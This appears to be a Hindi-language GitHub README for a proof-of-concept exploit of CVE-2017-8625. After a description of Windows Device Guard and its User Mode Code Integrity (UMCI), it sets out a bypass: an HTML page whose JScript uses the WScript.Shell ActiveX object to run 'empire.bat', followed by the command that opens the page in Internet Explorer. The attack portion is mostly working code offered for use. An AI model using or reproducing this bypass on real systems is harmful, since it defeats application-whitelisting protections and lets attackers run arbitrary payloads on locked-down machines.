homjxi0e/cve-2017-8625_bypass_umciप्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो JScript और ActiveX का उपयोग करके Internet Explorer में UMCI बायपास का प्रदर्शन करता है, ताकि मनमाने बाइनरी को निष्पादित किया जा सके, और यह Windows Device Guard कोड इंटीग्रिटी नीतियों को लक्षित करता है।
विंडोज डिफेंडर डिवाइस गार्ड एंटरप्राइज से संबंधित हार्डवेयर और सॉफ्टवेयर सुरक्षा सुविधाओं का एक संयोजन है, जिसे एक साथ कॉन्फ़िगर करने पर, डिवाइस को इस तरह लॉक कर दिया जाता है कि वह केवल उन विश्वसनीय एप्लिकेशन को चला सके जिन्हें आप अपनी कोड इंटीग्रिटी नीतियों में परिभाषित करते हैं। यदि ऐप विश्वसनीय नहीं है, तो वह चल नहीं सकता, पीरियड। ऐसे हार्डवेयर के साथ जो बुनियादी आवश्यकताओं को पूरा करता है, इसका मतलब यह भी है कि भले ही कोई हमलावर विंडोज कर्नेल पर नियंत्रण प्राप्त कर ले, वह दुर्भावनापूर्ण निष्पादन योग्य कोड चलाने में कम सक्षम होगा। उपयुक्त हार्डवेयर के साथ, विंडोज डिफेंडर डिवाइस गार्ड विंडोज 10 (एंटरप्राइज और एजुकेशन डेस्कटॉप SKU और सभी सर्वर SKU में उपलब्ध) में नई वर्चुअलाइजेशन-आधारित सुरक्षा का उपयोग करके कोड इंटीग्रिटी सेवा को माइक्रोसॉफ्ट विंडोज कर्नेल से ही अलग कर सकता है। इस मामले में, कोड इंटीग्रिटी सेवा विंडोज हाइपरवाइजर-संरक्षित कंटेनर में कर्नेल के साथ चलती है। यह मार्गदर्शिका विंडोज डिफेंडर डिवाइस गार्ड में व्यक्तिगत सुविधाओं के साथ-साथ उनकी योजना, कॉन्फ़िगरेशन और तैनाती के तरीके का पता लगाती है। इसमें शामिल हैं:
UMCI अनुमोदित न होने वाले बाइनरी को निष्पादित होने से रोकता है, विंडोज स्क्रिप्टिंग होस्ट को प्रतिबंधित करता है, और पावरशेल को कॉन्स्ट्रेंड लैंग्वेज मोड में रखता है। यह सिस्टम पर कोड निष्पादन प्राप्त करना काफी चुनौतीपूर्ण बना देता है। यह पोस्ट
======================================================================||>
चलिए एक कोड बायपास शो करते हैं
======================================================================||>
<html>
<body>
<script type="text/jscript">
var r = new ActiveXObject("WScript.Shell").Run("empire.bat");
</script>
</body>
</html>
======================================================================||>
PS:> C:\Users\Homjxie> cmd /C "C:\Program Files\Internet Explorer\iexplore.exe " "C:\Users\Homjxie\Desktop\Homjxie.html"
======================================================================||>
======================================================================||> ======================================================================||>